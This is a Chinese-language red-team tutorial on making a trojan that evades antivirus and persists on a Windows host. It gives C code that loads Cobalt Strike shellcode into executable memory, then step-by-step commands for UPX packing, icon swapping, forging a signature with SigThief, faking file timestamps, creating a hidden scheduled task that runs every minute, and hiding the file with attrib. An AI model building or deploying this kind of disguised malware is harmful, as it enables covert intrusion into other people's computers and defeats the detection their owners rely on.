红队视角下的隐匿木马文件 实现持久化控制
字数 969 2025-08-24 07:48:22
红队视角下的隐匿木马文件实现持久化控制
前言
在红蓝对抗中,远控木马是实现持久控制的关键工具。本文详细介绍了如何制作免杀木马、隐藏木马文件以及实现持久化控制的完整技术流程。
免杀木马制作
1. Cobalt Strike生成shellcode
使用Cobalt Strike生成shellcode.c文件,针对目标机器的杀毒软件特性制作有针对性的免杀马。
2. 内存加载shellcode
使用申请动态内存的方式加载shellcode,生成免杀木马:
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 隐藏控制台窗口
unsigned char buf[] = "shellcode";
main() {
char *Memory;
Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}
此方法可通过360的静态免杀检测,动态操作也不会触发报毒。
文件隐藏技术
1. 文件加壳
使用UPX对生成的64位shellcode进行加壳:
.\upx.exe C:\Users\33519\Desktop\shellcode.exe
2. 替换图标
使用BeCyIconGrabberPortable提取合法程序的图标,然后使用Resource Hacker替换木马程序的图标,使其看起来像合法程序。
3. 伪造数字签名
使用SigThief工具伪造数字签名:
python .\sigthief.py -i wps.exe -t .\shellcode.exe -o shellcode2.exe
参数说明:
-i: 自带签名的文件-t: 未加签名的文件-o: 输出文件
4. 伪造文件修改时间
使用ChTimeStamp工具伪造文件修改时间:
ChTimeStamp.exe C:\Users\canxue\Desktop\shellcode2.exe "C:\Program Files (x86)\360\360Safe\360bps.dat"
选择系统早期创建的文件(如360bps.dat)作为时间参考,使木马文件看起来像是早期安装的。
持久化控制技术
1. 计划任务隐藏自启动
使用SchTask工具创建隐藏的自启动任务:
SchTask.exe shellcode2.exe 1
参数1表示每分钟执行一次计划任务。
实现步骤:
- 选择主机随机进程名作为计划任务程序文件名
- 将计划任务程序文件复制到
%AppData%\Microsoft\Windows\Themes\目录 - 创建的计划任务名取同一随机进程名
- 计划任务触发器设置为每分钟执行,无限期持续
- 更改Index、删除SD的键值,隐藏计划任务对应的XML文件
2. 深度隐藏文件
使用attrib命令深度隐藏木马文件:
attrib +s +h +r 文件名
即使打开"显示隐藏文件"选项也无法显示被这样隐藏的文件。
检测规避技巧
- 在注册表中查看被隐藏的计划任务
- 使用合法系统目录存放木马文件
- 模仿系统进程命名方式
- 使用系统工具进行文件时间伪造
总结
通过以上技术组合,可以实现:
- 免杀的木马文件
- 难以发现的文件隐藏
- 持久化的控制机制
- 对常规检测手段的规避
这种技术组合能够使木马在目标机器上长期存活,为红队行动提供持续的控制通道。